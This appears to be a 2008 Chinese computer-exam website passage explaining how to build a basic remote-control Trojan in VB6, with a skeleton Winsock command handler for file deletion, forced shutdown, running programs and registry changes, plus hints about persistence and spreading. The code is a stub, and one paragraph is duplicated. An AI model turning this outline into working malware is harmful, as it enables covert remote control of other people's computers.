手机图片 苏州便民网 诺基亚手机
首页 | 英语四六级 | 日语学习 | 网络学院 | 考研 | 公务员考试 | 计算机 | 笑话 | 减肥 设大学生网为首页 加入收藏
C语言 VB VFP VC++ ACCESS JAVA
 
 
 
 
 

您的位置:首页 >> 计算机 >> 二级考试 >> VB >> 浏览信息

正文内容

浅谈用VB6.0编写“特洛伊木马”程序

时间:2008-04-08 来源:大学生计算机等级考试 打印本文

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)

 Dim strData As String
 Dim i As Long
 Dim mKey As String

 tcpServer.GetData strData
 ‘接收数据并存入strData
 For i = 1 To Len(strData)
  ‘分离strData中的命令
  If Mid(strData, i, 1) = "@" Then
   mKey = Left(strData, i - 1)
   ‘把命令ID号存入mKey

   ‘把命令参数存入strData
   strData = Right(strData, Len(strData) - i)
   Exit For
  End If
 Next i
 Select Case Val(mKey)
  Case 1
  ‘驱动器名、目录名、文件名
  Case 2
   强制关闭服务器端的计算机
  Case 3
   强制重启服务器端的计算机
  Case 4
   屏蔽任务栏窗口;
  Case 5
   屏蔽开始菜单;
  Case 6
   按照客户机端传过来的文件名或目录名,而删除它;
  Case 7
   屏蔽热启动键;
  Case 8
   运行服务器端的任何程序
 End Select
End Sub

  详细程序略。

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。

上一篇:用VisualBasic轻松实现看图软件
下一篇:浅析ADO事件模型

相关阅读:

无相关信息

网站简介 | 广告服务 | 联系方式 | 意见建议 | 网站地图 | 版权声明 | 友情连接

大学生网 Stuun.com 版权所有